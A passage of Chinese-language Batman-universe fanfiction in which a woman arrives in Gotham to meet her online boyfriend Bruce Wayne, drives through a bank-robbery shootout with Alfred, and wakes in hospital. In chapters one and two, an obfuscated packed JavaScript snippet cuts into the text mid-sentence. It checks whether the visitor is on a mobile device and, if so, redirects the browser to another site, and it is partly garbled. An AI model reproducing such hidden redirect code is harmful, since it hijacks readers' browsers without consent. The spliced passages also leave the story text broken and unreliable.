《普通恋人【综英美】》 1. 01 【抱歉,临时发生了点事,我走不开。】 【我让阿福去接你。】 机场的空调相当充足。 我按熄了手机屏幕,坐在休息大厅的椅子上长舒了一口气。 今天原本是要和结识八年的异国恋男友见面的日子。 现在被放了鸽子,我却没什么生气的情绪——一方面是因为男友的工作性质经常需要他上夜班,认识这么久我也早已习惯,另一方面…… 对于见面这件事,我始终在期待中抱着两分恐慌。 光洁的机场地板倒映出自己的模样,二十多岁,并非刻板印象中的亚裔长相,因为做了许久飞机而略显憔悴,给人的初印象通常不太好接近,但熟悉的人又会觉得亲切。 总而言之,是和男友那张漂亮脸蛋相比并不出彩的相貌。 纵使其中不乏我习惯性的自贬和恋爱滤镜,可产生的忐忑不安却是真实的。 得知自己还有时间捯饬捯饬,我由衷感谢了男友那不稳定的工作需求,随即打开行李箱,小心翼翼取出提前熨烫整齐的衣装,揣上化妆包就直奔不远处的化妆间。 我大致估算了一下今晚可能的活动,估计被接机的车送到酒店后得准备一下明天和编辑的会面,然后尽量在凌晨三点前入睡。说实话,除了男友口中的“阿福”先生外我也见不到其他人,之所以还要这么费时费力打扮自己,完全是因为这唯一要见的人——大概率是能称之为男友的父亲一般的角色。 由于幼时一场事故,男友在八岁后一直与自己的管家相依为命,共同度过了之后非常多年岁。在我们日常的聊天里,他也会时不时表露出对老人的依赖和感激,这多少令现在的我生出些许愧疚感。 毕竟这个点还要麻烦头发花白的老先生来接机,还不如我直接坐末班轻轨去酒店。 【恕我直言,独身女性在哥谭夜晚并不安全,还是务必让我送您一程,正好,我也一直想和您见上一面。】 结果我推脱的短信才发出去不久,就收到了这样的回信。初到异国他乡,我并不会忽视本地人的告诫,因此再三感谢过对方,我和他约定好一个对双方而已都比较充裕的时间再会面。 等我全副武装地收拾好自己,距离约定的凌晨一点还有三十分钟,我重新做回原来的位置,掏出平板趁机处理一些工作上的事。 如果没有这次编辑的邀请,或许我和男友的感情发展会迈向另一种结局,比如像大多数异国恋情侣那样在漫长的等待中消磨对彼此的爱意,最终不是出轨就是分手。 不,在八年都没有正式见过面的前提下,能坚持到现在才更不可思议。 我姑且算是自由职业,几年前在做规划时便想过到这个环境相对宽松的国家继续发展,当时的男友还只是我的读者,在翻译问题和其他方面都帮了不少忙,因此联系愈发紧密,后来才确认了恋人关系。 必须承认的是,在这件事上我多少是在利用他的好感,国内的朋友还开过玩笑说干脆把绿卡骗到手再把人踹了——她始终站在我的角度考虑,觉得大我十几岁的男人并非良配——而我对此不抱什么希望,毕竟年龄差意味着阅历的差距,我的另一个朋友更担心我被老白男吃干抹净骗去卖器官。 但无论如何,就我有机会待在国外不再回去这事上,她们都由衷地为我感到开心。 想到朋友,我不由自主地展露笑意,但最终还是没打开手机给睡着的她们发点贱言贱语。半小时过得相当快,当闹钟震动时,我还沉浸在分镜里没回神,硬生生让手机在那干巴巴地嗡鸣了好几分钟。 抬起头,休息大厅里除了寥寥几个路人外又多出了一位老人。我一边把平板放回包里,一边确定对方就是我即将要见的阿尔弗雷德·潘尼沃斯本人。 仗着身处角落不起眼,我并没有第一时间上去打招呼,而是将人从上到下打量了遍。 和男友发来的照片差不多,老人穿戴得体而老派,头上还戴着顶改良款的英式报童帽。他的双眼颇有精神地四处逡巡着,一只手拿着手机,在给谁打着电话。我的手机也果不其然响了起来。 好吧,再怎么样今天这面也必须见的。 我微微吸了口气,选择接通: “……您好?” “我是潘尼沃斯,”老人的口音更像个英国人,“我已经到达哥谭机场的休息厅了,车子就在外面,如果您现在不方便,我可以先代为去领一下你的行李。” 对方可能以为我是在卫生间之类的地方。 对英语的运用我更多是在读写上,因此说得有些磕磕巴巴:“不用了,先生……” 随后,我轻轻拍了拍前面人的肩膀,“我的东西并不多。” 似乎没有意识到他人的靠近,对方扭头的幅度有些大,面上则是实打实的惊愕。我有些不好意思地挂断电话,朝他略略躬身:“抱歉,吓到您了吗?” “……老天,”潘尼沃斯先生转了转他的帽子,“您还真是神出鬼没。” 他比往常被我吓到的人更快平复了心情,随后摊开手,“这一路舟车劳顿,请把行李交给我吧。” 我多少被科普过些这边的礼仪,倒也没怎么纠结尊老爱幼的事,把手提箱交给了对方。 潘尼沃斯的步速并不像一般老人,走得稳健有力,我们互通了一下姓名,在寒暄中走出机场。路边停靠着一辆黑色轿车,我不怎么记牌子,只看得出保养得很好,而身边人拿出车钥匙,率先替我打开了后座的门。 “谢谢。” 我在无比妥帖的照顾中等到了车子启动,除了备好的湿巾晕车药等工具,后座还放置着我曾经和男友提到过的无糖气泡水和一小份手工零食,整个车厢整洁得嗅不到空调的异味。 直到此时,我忽然想起之前男友说过的,关于他家还挺有钱的发言。 搞不好我们之间阶级差距比我以为得要更大。 又不是什么还在幻想能嫁进豪门的年纪,我第一反应只有拘束和尴尬,没敢碰食物,只是礼貌地拿了瓶水在手上:“您待会儿还要一个人把车开回去吗?感觉有些累的话我帮您多开间房,休息到早上再走吧。” 理所当然的,我的提议被拒绝了,老人把“委婉”二字诠释得淋漓尽致,而我则暗自庆幸不用再多出一笔开支——本来说这话也只是为了让自己表现出点关切来,希望我没有用力过猛才好。 哥谭的夜景就在接下来有一搭没一搭的聊天中逐渐呈现在我的眼前。我的词汇量并不丰富,这座阴郁又繁华的城市叫我来形容,也只有和家乡截然不同,身处其中,会令人油然生出一种真正到了国外的新鲜感。街上行人形单影只,分明刚迈进九月,却已经有人穿起了厚夹克,在第三次等待信号灯变绿的时候,淅淅沥沥的雨点更是驱散了道路两旁的寥寥人味,我没忍住,拿出手机一边调整一边拍照。 “这里的天气有时比伦敦还要阴晴不定,”前头开车的老人注意到了快门声,“有兜帽的卫衣常年热销。” “那我还是更乐意带伞,”我顺势捋了一把自己的长头发,“淋湿了洗头都得好几个小时。” 大抵是从后视镜看见了我的动作,接下来的话题又往长发的护理方法上一骑绝尘。和初次见面的长辈共处几小时简直就是酷刑——尤其是对我这种不喜欢交流的人来说,但偏偏对方身份重要,说到最后我甚至解开锁屏想看看之前存着的《教你玩转社交三百招》,所幸短信提示声恰如其分地插了进来。 是男友的,估计找到了躲懒的机会。 【到酒店了记得和我说一声。】 我冲后视镜歉意一笑,低下头专心回复:【我快把毕生所学都说完了路程还有一半。】 对方似乎一直守在聊天界面旁,回复瞬息而至。 一个系统自带的“加油”emoji。 【……你应该为叫我一个人面对这种场合而谢罪三百次。】 恶狠狠地放言威胁后,我不再看显示着“正在输入”的聊天框,却抬头对上了老人微笑的双眼。 莫名有种早恋被班主任抓个正着的荒唐。 “我猜应该是布鲁斯老爷发来的?”得到我的肯定后,潘尼沃斯语气柔和地继续道,“虽然由我出言更像是为他找借口,但老爷真的很期待和您见面——他本来还准备了礼物和花束。” 一谈及这个人,我的社交插件好像卡壳了,半晌才从喉咙里挤出点声音:“哇哦,我一点都不意外。” 可能把我的停顿解读成了不忿,老人不免开口解释:“我想比起放在车内交给您,他更愿意当面期待您的反馈。” 礼物暂且不表,究竟为什么异性总是爱送花呢?既要打理又捧着碍手,还不如摊些鲜花饼给我填肚子呢。 我自然不能当着人面说这些,但一时又想不出什么妥帖的回答,只能微笑:“等他今天下午起床再说吧,我正好先去和编辑见一面。” “……”后视镜里的潘尼沃斯先生欲言又止。 他的眼睛短暂地往左瞥去,像是被其他东西吸引了注意力。我有些好奇,跟着转头往车窗后方望去,一眼便能看见有一辆大型厢式车正以极快的速度逼近,引擎的轰鸣声连车厢优秀的隔音都挡不住,隆隆冲刺而来。 “这算不算超速……?” 惯性用母语发出感慨,我还来不及再转换成英语,忽地就被老人肃然的语气打断: “系上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182184|150647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安全带,小姐!” 压根没搞明白情况,但不妨碍我用安全带把自己固定在后座,而潘尼沃斯一踩油门,以一种远超他年龄该有的灵活把车子开得像在演头文字D,“有人劫持了银行运钞车,我们必须提前下高架,不然很有可能被对方逼停拦截后方追车。” 他语速一快,我那勉强够用的转译能力就费了一半,只能听懂有人抢了银行正在逃跑——等等,谁抢了啥?!! 从小生活在安全的环境里,这是我第一次直面如此之大的刺激,第一反应便是按住砰砰直跳的小心脏,然后打开手机。 翻转镜头,开启录像。 潘尼沃斯一提速,轿车顿时和原本快要追尾的运钞车拉开一段距离,可没等我庆幸两秒,就见录像里有只手打开了车窗,从里面伸出来的东西通常只出现在电视里。 条件反射,我连人带手机一起缩在椅背后面:“小心!” 下一秒,仿佛有一万颗爆米花撞上了车尾。 我们的车明显具备一定防弹功能,而司机更是有着水豚一样稳定的心智,因此连带我都没感受到太多恐惧。过速的心跳令思维保持着亢奋,估摸是在对方换弹的时机,我迅速伸出手机镜头。 估计没料到受害车辆性能优秀,运钞车里的人骂骂咧咧地缩回半截身体,不知道是去鼓捣什么了。 “很快就能到路口了!” 这回潘尼沃斯的词句比较短促,我听懂了,一边持续移动镜头观察身后,一边试探着问道:“……我们的车能挡住冲锋枪的扫射吗?” 得到这个消息的前排沉默了须臾:“不好说,这毕竟只是辆普通的防弹车,再来一轮射击车窗肯定顶不住。” 好吧,语速还是太快了,但听对方的语气也知道不容乐观。果不其然,在第二轮枪响没多久,呼呼的风声便随着玻璃碎片一起涌了进来,我被陡然爆发的噪音震得耳畔嗡鸣,只能勉强听清潘尼沃斯说着“趴下”和“小心”一类的词眼。 这样下去可不行。 我心下暗道糟糕,而现实遵循着墨菲定律,往更深渊处倾倒——一蓬血花清晰地在我眼前炸开,老人闷哼出声,原本行驶还算稳定的车辆猝不及防打起滑来,我被安全带猛得勒了一下,眼前不由发黑。 “您还好吗?!” 强忍着喉咙的不适,我提高嗓音。 “没事,只是肩膀擦伤。”对方的声音忍耐着痛苦,却依旧快速稳住车把手,一打方向盘朝分叉道驶去。只是方才那么一耽误,运钞车已经死死咬住了我们的车尾,见状似乎是要跟着我们下高架。 这完全不是想逼停我们这么简单,更像是猫捉老鼠似的戏弄。 再好脾气的人也有发怒的时候,我自己都不知道自己哪来的勇气,解开了安全带,趁着射击的空档往前排扑去。老人很配合地往副驾驶退去,迅速和我完成了司机的交接仪式。 直到摸上带着滑腻感的方向盘,我才一个激灵,当下生出些后悔来:我拿到驾照还没超过半个月呢! 简直就是赶死鸭子上架,我踩着油门压根不敢松。车外后视镜都被射爆了,我只能勉强通过车内那个观察后方车辆——要死要死,枪管又伸出来了! 千钧一发之际,我脑内紧绷的神经好像蓦然断开了,近乎抽筋的左脚一松,转而全力踩下刹车。 剧烈的颠簸伴随着眩晕和钝痛把我攥在手心,安全气囊应声而动,视野闷进白茫茫一片柔软里,有什么在耳朵里放声嗡鸣。 不知过了多久,身体终于意识到车已经停了下来,我本能往副驾驶看去,和老人惊魂未定的双眼对了个正着。 我由衷放下心来。 哪有人男朋友还没见着就先把他家里人往死路上送的。 还没多喘两口气,理智慢半拍地发出提醒,单凭小轿车的吨位不太可能直接截停一辆运钞车,我只能祈祷方才那一下能让那个没系安全带的枪手摔个狗吃屎,最好连脑浆都能甩飞三百米。 现在必须在对面下车前先转移,然后等警察追上来…… 眼前事物都带着重影,我扭动好几下才打开车门。本想先把腿挪出去,哪想脑袋比平时重了好几倍,摇摇晃晃就带着身体往地面下坠。 即将与大马路亲密拥吻的刹那,一股力道率先托住了我。 艰难运作的羞耻心控制着掌心先一步捂住嘴,我干呕了两下,在一种肯定得了脑震荡的笃定中慢慢抬头。 好心人的装扮震撼了没见过世面的我: “Deep…dark fantasy……” 闻言,那双紧紧握着我肩膀的手不由一顿,哪怕隔着面具,我也能感受到中之人投来的死亡视线。 2. 02 脑震荡的感觉相当不好受。 耳朵里的血管突突地跳,我几乎无法控制自己的四肢,被人连扶带抱地安置到了什么地方。视野中央黑乎乎的,我辨认了许久才发现那好像是个简约的标志。 一只蝙蝠。 “……麻、麻烦你,”从嘴里吐出的大概还是英语,我总觉得左眼皮比右眼皮重,不由只能闭上一只,“副驾驶,副驾驶还有人……” “别担心,我的搭档会照顾他的,救护车也在来的路上。” 好心帮忙的蒙面肌肉男嗓音十分低沉,听起来可以给恐怖游戏的最终BOSS配音。我的下巴被他托起,左眼的沉重感随后消失大半,我这才注意到他是用纱布吸去了鲜血,动作是与本人不太匹配的温柔。 先前的撞车大戏估计给我头上添了道伤,难怪额头一直凉嗖嗖的。 在对方给我简单包扎的途中,潘尼沃斯也被同样挪了过来,左臂鲜血淋漓的,看得我直皱眉毛。扛着他的是个身量不大的蒙面人,不知道为什么,我总觉得他在看过来时的眼神很不友善。 “我没事,你去帮帮他。”持续的眩晕和头痛终于放了我一马,只是时不时杀个回马枪,我抓了几下才搭上肌肉男的手腕。 似是有些犹豫,他的注视停留在我脸上,直到我又点了点头才动身离开。掌心里被塞了消毒用的酒精棉片,我盯着看了两秒,把东西随手往旁边一搁,转而去摸口袋里的手机。 老人伤得不怎么重,好像比我这个年轻人身体还好些。 早知道对方体质这么好,我还是应该全程缩在后排的——但这样不能保证他会听从我的安排,所以还是得亲手驾驶才行。 趁着那边忙活,我仔细浏览着联系人,找到编辑拨通电话。 夜风带着些湿润的清爽气,吹得我精神一振。 蒙面人是开了车来的,目前我和潘尼沃斯都坐在车前盖上。一条粗黑的金属锁钩从车头插进前方的运钞车里,看样子正是有它在后方拉扯,才让轿车有机会截停。 至于那两个抢劫犯,都被捆成一堆扔在地上。 夜半三更吵醒别人着实缺德,但以我现在的状态看不太清键盘字母,目前的情况又注定会推迟明天的会面,也只能在自己还算清醒的时候先通知对方,避免之后的联系不畅。 漫长的忙音后,电话被接通: “您好,这么晚致电非常抱歉……” 被我吵醒的女编辑嗓音里夹杂着不满,听见她蹩脚的中文,我忽地才发现自己一直在说母语,下意识往一旁的三人那望了望。 但很快,编辑的回话令我收拢了注意力。 “……不,不是什么大事,谢谢您的关心,”对面的女人在得知我的遭遇后全然没有了一开始的愤怒,语气相当担忧,“真的没事,不用劳烦您赶过来……况且我这边还要照顾一下认识的人,我想我男朋友大概率没法及时到医院。” 余光里,旁边的三个人好像都被我的电话吸引了,我稍觉尴尬,侧过身子压低音量:“嗯……我已经听见救护车的声音了,好的,明天有空我给您回电话……再见。” 一通电话打完,我又觉得头痛,抬手堵住左边耳朵,在愈发靠近的救护车和警车深感不适——它们的鸣笛太吵了。 然而没等我再去拨通紧急联系人,一只黑手套飞快伸进视野里,我有些莫名所以地抬头,发现蒙面猫耳男指了指自己的耳畔。 躺在他掌心的是一对耳塞。 这人刚刚开始从自己的腰带里掏出多少东西了?他难不成是哆啦A梦黑化兄贵版? 腹诽归腹诽,我还是道了声谢,接过来戴上,调整成不至于听不清别人说话的程度。他也没走,而是看着我拨通了紧急联系人,备注为“BABY BLUE”的通话界面始终没有接通。 虽然早有预料,我还是小声叹了口气。 伴随着叹息,我注意到面前人垂在身侧的手握了又松,他偏头看了一眼已然围上来的医护人员,最终还是什么都没说,和自己的搭档退到了人群后。 在一片吵嚷中,我和潘尼沃斯被搬上救护车。紧随其后又是一轮伤情鉴定,我终于能和老人坐在一起聊聊。 “……您是问方才两人的身份?”潘尼沃斯的惊讶让我觉得自己像山顶洞人,“他们是哥谭的义警。” 提到这个话题,连陪车的两个医生都参与了进来,在几人七嘴八舌的补充里,我大致了解了这个没在国内见过的新工种。 匡扶正义,打击犯罪,纯粹的个人英雄主义产物,在这边的大环境下非常盛行。 “所以他们会揍扁罪犯,但是没有执法许可。” 我的总结得到了一致肯定,其中一个医生好像还是这类“超级英雄”的粉丝,见我不再有回话的意思,他又和自己的同事小声絮叨起来,好险,要是他口音没那么重我就听懂了。 “您还有哪里不适吗?”见我沉默,身旁的老人投来关切的目光。 我没摇头,因为脑袋一动就晕,但这话我也没法接——在国内就听说过这边看病超贵,有个留学生坐了趟救护车花了一千多刀,我身上加上信用卡一共也就三千美金,难不成来到异国他乡的第一天就要变成穷光蛋?! 为自己的想象抖了又抖,原本还行的体感也再一次被眩晕和疼痛笼罩,没想到熬过了地方特色枪战和车祸,最后我居然是被没钱气晕的。 实在是倒霉透顶。 . 始终惦记着自己即将干瘪的钱包,我连觉都睡不安稳。 睁眼的瞬间,入目是一片全然陌生的天花板。 我缩在被子里,有那么几秒没敢动。 鼻子很快嗅到一股算不上难闻的消毒水味,我掀开被子看了看自己,一身病号服,连长头发都干干净净的。睡着的病床比我自己家的床还要舒适,恰到好处地托着腰,我愣愣环视周围,宽敞的单人病房还放着鲜花,唯一与此地纯白格格不入的只有一位。 那个靠在沙发上打盹的家伙。 眼底青黑,发型凌乱,下巴上冒了层青青的胡茬。将近一百九十公分的大个子此刻局促地缩在对他而言稍显迷你的单人沙发里,大抵是下了班急着过来,原本合身的西装也皱巴巴的,领带更是不翼而飞。 不是我的男朋友还能是谁? 迟疑片刻,我还是没上去吵醒他,自己慢慢下了床,扶着墙去卫生间洗漱。 临走时,我顺手拿上了床头的手机。 没有扣款提醒,也没有账单短信,能住这么豪华的病房肯定是男友帮忙付的钱,我有点心虚,不确定用别人那么多钱会不会导致自己在这段关系里处于下位……但事到如今再去矫情?那绝对对不起我被洗得超绝柔顺的头发。 对着镜子照了又照,脸上没有口水印,水肿也不是很严重——我回顾着自己的睡姿,对比起来那还是男朋友更邋遢,于是放下心来开始洗漱。 可能是洗手间的水声有些大了,过了一会儿我就能看见有人影显现在门上。磨砂玻璃朦胧了对方身形,没等我吐掉口中的泡沫,他很轻地敲了敲门: “医生说你的伤口不能碰水。” 无论打多少跨洋电话,彼此的声音都会有一定失真。 男友的中文说得相当流利,估计是和我相处久了,普通话也能听出一点南方口音。 我用水冲掉嘴里残留的牙膏味,张嘴的时候却莫名感到些许胆怯,不合时宜地想起以前去和女网友面基,当时面对面都没现在这般紧张。 等不到里面的人说话,大个的影子在门口徘徊了两圈,口吻里多了些诱哄的意味,“我只是担心你会摔倒,如果你不好意思,我去叫护工进来帮忙。” 最后确认了一下自己的仪容仪表没什么问题,我及时打开门,抓住了即将转身的黑发男人。 他被我拽着西装一角,旋身时动作放缓,呼吸也轻轻的。 我大概能感觉到对方的目光,先前那股尴尬和紧张此时正拼命在耳后煽风点火,不用看也知道我的脸绝对红出新色号。 得说点什么才行。找不到话题,我脱口而出的却更像质问:“你几点到的?” “凌晨四点半,抱歉,我尽可能地快了。”他没有解释自己在忙什么,而似是意识到自己缺失的这一部分发言有多重要,他的唇抿得有些发白。 我趁机偷看了眼男友的眼睛。 外国人通常高鼻深目,他的双眼被阴影拢在其中,却亮得惊人。我的一瞥几乎是立刻被捕捉到,他眼睑眯了一下,在我迅速移开的视网膜上留下像是笑的残影。 本来我也没生气,这下更是竖不起任何抗拒交谈的高墙。 “潘尼沃斯先生还好吗?” 他没料到我第一个问的是这个:“……阿福除了肩膀的擦伤还有轻微的脑震荡,需要住院观察几天。” “你不过去照顾他吗?”话匣子一旦打开,我的不适应也减少了很多,绕过他准备再去床上坐一会儿,“我这边没关系的,也就脑袋磕了一下。” 尽管老管家看起来并不是那种会责怪小孩更关注女朋友的家长,但我仍然想做点面子工程——要是一不小心给对方留下不好的印象,我可能今晚都会纠结得睡不着。 身后的脚步声缀得很紧,一同响起的还有男人低沉下去的声线:“那边有我……其他家人在照顾。” 我把自己丢到床沿上,对他的回避感到些许好笑:“你哪个儿子?” 这回换成对方眼神闪躲,他像是才觉得不自在,理了理皱巴巴的衣领,一声轻咳:“最小的那个,其他孩子都有些忙……本来过两天想叫你到家里来一起吃顿饭的。” “饶了我吧,光是和潘尼沃斯先生说话就把我一周的聊天余额用完了,”我往软绵绵的枕头上一靠,找回了点和他还在网上时交流的放松,“低电量仅支持熟人呼叫。” 可能是被归类为了熟人,男人的蓝眼睛又重新亮了起来,噙着笑意还想说些什么,被我抬手堵回去:“还有,你也去照照镜子,你那张脸跟着你真是受罪。” 此言一出,摸了摸鼻子的男友甚至显出些委屈来,他二话没说钻进洗手间,不一会儿里面的花洒便被打开了。 我坐在床上无所事事,闲不住地打开手机重新和编辑约定会面时间,随即还要回复编剧的邮件,和对方确认画完的分镜对话是否还需要修改。 现在已经是下午两三点,编辑正在坐班,很快和我重新定好时间。目前我还差几个小合同没签,顺利的话万圣节的时候我就能收到第一笔人才补助金,到时候估计也找好公寓了。 越思考我越感觉时间紧急,忍着不知何时又开始的头痛,在手机上翻找收藏着的租房网站。 这场事故来得太不巧,刚好卡在我最需要外出奔波的时候。原本定好的计划被打乱大半,我多少产生了点焦虑情绪,习惯性想去挠后脖颈的疤。 男友的声音就在这时响了起来,他喊着我的名字:“待会有人会送衣服过来,你让她放桌上就好。” 被这么一打岔,我不得不放下手,静坐片刻扬声道:“知道了。” 好险,差点忘了这里不止自己一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182185|150647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 为了分散注意力,我下床给自己倒了杯温水,想了想又给男友也准备了一杯。端着杯子刚坐回床边,病房门便有节奏地响了起来。 “请进。” 应声入内的是个女护工,约摸四十岁上下,她的口音我也听不太懂,只能艰难分辨意思。她很高兴自己的看护对象已经醒了,和善的脸上挂着笑: “韦恩先生一早就托人去买了衣服,尺码估计正正好好,”她在我的示意下把纸袋拿了过来,“等小姐您出院的时候穿一定很漂亮。” 护工不在我需要维护的社交关系之内,因此我只是笑了笑,向对方道了谢。 我对衣服牌子也没什么研究,最多看得懂市面上最热门那几个奢侈品标志。这两套男女装上的LOGO超出了我的涉猎范围,但能摸得出布料十分精致,我都有点担心手上的茧子把它勾抽丝了。 “还有任何事就按铃,我这几天就住在隔壁。” 送走了护工大姐,我收敛笑容,靠回床头啜饮着温水。哥谭的下午依旧阴云密布,似是随时都要浇一场雨下来,病房的窗也因此紧闭着,我抬手去推开了道缝隙,思绪却回到了昨天夜里。 如果当时的雨没有及时停,潘尼沃斯先生中枪的时候我们便很有可能人仰车翻,那着实是与死神擦肩而过的凶险。 人的大脑总会自动遗忘一些创伤来保证精神的健康,奇异的是我却没没有遗忘昨天的任何一个细节,硝烟的气味,血液的气味,玻璃碎裂的声音和子弹打在皮座椅上的闷响,一旦陷入回忆里,我的心脏仿若被注入了某种可怕的活性剂,泵动得格外用力。 浴室的水声停了,我暂时从自己的思考中抽身而出,把送过来的男装给里面的人递了去。 出于某种搞不太明白的冲动,我没从门前离开,反而很顺畅地叫了男友的教名。 “布鲁斯?” 门后窸窸窣窣的动静停了几秒,而后响动愈盛,他似乎加快了动作:“怎么了?” 我很少会直接这么唤他,男友好像也不怎么习惯。 然而有些话当面我说不出口,有了磨砂玻璃的遮挡,反倒给了我继续说下去的勇气。 “我只是在想,差一点点……”我斟酌着语句,希望自己的心情能被完美地诠释出来,“我连见你一面都做不到,就被人杀掉了。” “我那么期待能真正见到你。” “醒过来的时候,看见你睡在那……我很开心。” 心声吐露得差不多,我感到一阵泡在温水中的安宁,连头疼似乎也被洗净。 难不成,我是在为昨天的事而后怕不已? 病房陷入一阵只余风声的寂静里,在我垂眸思索之际,眼前的门被拉开,蒸腾的水汽和男友难辨的神色一起充斥视野。 濡湿的刘海在他脸上留了条水痕,衬得蓝眼湿润,像是刚刚落过泪。 可他压抑的音色泄出两丝郁火:“既然如此,为什么要做那么危险的事?” 我有半秒沉浸在“男朋友真帅”的余韵里,没及时反应过来他什么意思:“……你是说我踩刹车的事?那个确实有点欠考量了,毕竟副座上还有人。” “和别人没关系,”我的解释没能换来男人的心情转晴,他俯视着我,逼近的步伐令我不禁后退,“你当时在想什么?你有思考过万一你判断错误,我过去只能见到阿福和我素未谋面的女朋友的尸体。” 哪怕没有表情辅助解读,我也明白面前人正在生气。为了不让我逃避,他抓住了我的手腕,用的力气足以让人感到疼痛。 我没法感同身受,每到这种时候,我的冷静便会欺身而上,把控着喉舌和大脑。 “我不知道义警当时就在运钞车后面,布鲁斯。他们咬得太紧,只要冲锋枪再射一轮我和你的管家百分百会被截停然后死于非命,我唯一的选择就是利用那个抢手每次射击前都会把身子探出窗外的时机制造车祸,那样起码能打断他的攻势。” 语气必须尽可能地柔和,逻辑条理也要清晰,我试图平息对方怒火,至少我不想在见面第一天就和很喜欢的男朋友吵架。 “你生我的气,我能懂……但是我不可能把自己和潘尼沃斯先生的命寄托在陌生义警那,”我微微仰头,直视着男友颤动的瞳孔,“我做的事很鲁莽,也不能保证两个人的安全……” “但起码,我们会活得更久些。” 许是被我的视线所刺痛,他眼睫翕合,眉宇间深深的刻痕间溢出了湿漉漉的痛苦。我抬起另一只手碰了碰他的额头,低声哄着,“不要生我的气,我帮你吹干头发,好不好?” 距离太近,男人轻轻一扯,就把我拥进怀里。他抱得用力,却避开了我身上有伤的地方,把脑袋埋在我的颈窝,这下我的病号服也湿掉了一大块。 我忍了忍,最终还是没有出言提醒,双手尴尬地在半空僵了一会儿,最后小心地搭在男友背上。 许是经常健身锻炼的缘故,他的体温很高,我有种被超大型缅英猫闷在毛里的错觉。 但我很喜欢猫,所以我没动。 “下次我一定会去接你。”男友最后这么说道,他将承诺咬得极重,似是暗自下定了决心。 相识这么久,我也知道他的“夜间工作”有多雷打不动——以男友的性格,他更趋向于在两者中找到一个平衡,比如下次替我安排航班时间,而不是遵循我自己的意愿。 算了,这次已经把人吓得够呛,稍微退几步也不是不行。 我安抚性地拍拍对方的后背,换来了男方越发收紧的手臂。 3. 03 住院生活无聊到令人发指,若不是擅自离开很有可能被男友抓回来再关整整一周,我早就换下病号服桃之夭夭了。 化完妆后的卫生间一片狼藉,换作往常这些乱糟糟的眼影盘和粉饼在收拾时都会被我随意扫进化妆包,主打的就是图速度不图质量,而如今我只用坐在床边慢慢给自己卷着鬓发,护工大姐进去五分钟不到便收拾得整整齐齐,还能顺便帮我洗个水果吃。 我和她相处了几天,已经可以听懂她稍稍放慢语速的句意,并恰到好处地附赠含羞的笑容。 而对话所围绕的内容除了日常起居,剩下的几乎都围绕着我的男友。 这很合理,布鲁斯·韦恩是她的雇主,再加上护工大姐休息时喜欢看些缠绵悱恻的爱情小说——很大程度上她正以欣赏书中故事的角度来观察我。几天下来她和我说的八卦几乎能追溯到男友的孩童时期,话里话外都藏着兴奋和担忧—— “这两年很少再见到韦恩先生出席那些单身派对了,以前甚至有女孩捐了几百万美元拍下了他的一夜约会权呢!” “我还是第一次见到这些富豪私底下的模样,要我说,他已经被你迷得死死的!” “多么幸运的美丽姑娘……” 是的,幸运。 我在她那里的形象一如被王子选中的辛德瑞拉,仿若只要保持善良、美丽和坚强,就得到了一城姑娘都在追求的水晶鞋。 这个认知令我的情绪变得相当糟糕。 就连现在递给我切好的苹果,护工大姐都会怜惜地替我把碎发拢到耳后,避免果汁沾湿打理过的发型:“小心些,小姐,您花了大功夫才画好的妆呢。” 她是笃信女人该为另一半好好打扮的类型,更罔论我现在的男朋友还在社会上具有较高的身份地位。这份投射在我身上的关心和慈爱,或许也是她对“灰姑娘”妄想的憧憬。 “谢谢你,”我不着痕迹地扫了眼她胸前的名牌,这才补上称呼,“这几天一直都在麻烦您,昨天碰巧遇见您的上级,我还和她提过能不能给您放个假。” 对方甚至露出了受宠若惊的神情。 “……”我彻底没了吃苹果的兴致,把盘子递到她手上,“您之前和我提过没空带孩子去放松放松,或许这次你们能度过一个愉快的假期。” 随手帮了个忙的结果就是,直到我坐上男友车的副驾驶,护工大姐才依依不舍地挥手离开。 区别于先前那辆低调的商务车型,他自己开来的这辆颜色靓丽线条流畅,单单是我坐进来的几分钟,旁边就路过了不下三位爱车男士。 我刚把安全带系上,转头就被一大捧紫色剑兰堵住了脸,男友的双眼从后面探出来,心情颇为不错地眯着:“昨天不是还闹着要提前出院?怎么苦着一张脸?” 放在花束中间的是两个精巧的盒子,用他的话来说,一份是见面礼,另一份则是出院礼。这家伙送东西的频率夸张到恐怖,我现在浑身上下连带行李都是他提供的。 可这种时候再说不要也太毁气氛了——即使是迟钝如我也懂这个道理。 “感觉被资本主义的糖衣炮弹腐化了……”接过花,我小声嘀咕着,随后调整了一下自己的情绪,“谢谢,我能拆开看看吗?” 男友做了一个“请”的手势,手肘搁在方向盘上,看起来是要等我给出反馈再开车。 礼物包装很精美,我撕起来难得产生了点惋惜,不过那点情绪在看清内容物是什么后,变成了纯粹的惊悚。 可能是我盯着那串钥匙的时间太长,身旁人凑近了些:“……不喜欢吗?” “你送了我一辆车,”我说话的时候舌头发麻,瞥向另一个盒子,“那里装着什么?公寓钥匙?” “嗯。”他即刻就承认了,目光牢牢扒在我的脸上,仿佛是要透过皮囊看见内心所想,“家电都配齐了,位置在钻石区,距离你的新公司很近——那里的治安是哥谭最好的。你本就不常出门,等驾照寄到我就给你送去,SUV也不会太高调,足够你平时去图书馆或者博物馆逛逛。” 我内心有了些猜测,侧过头和男友对视:“所以我还在国内的时候你就催着我考驾照,……至于房子是你这几天找的,对吗?” 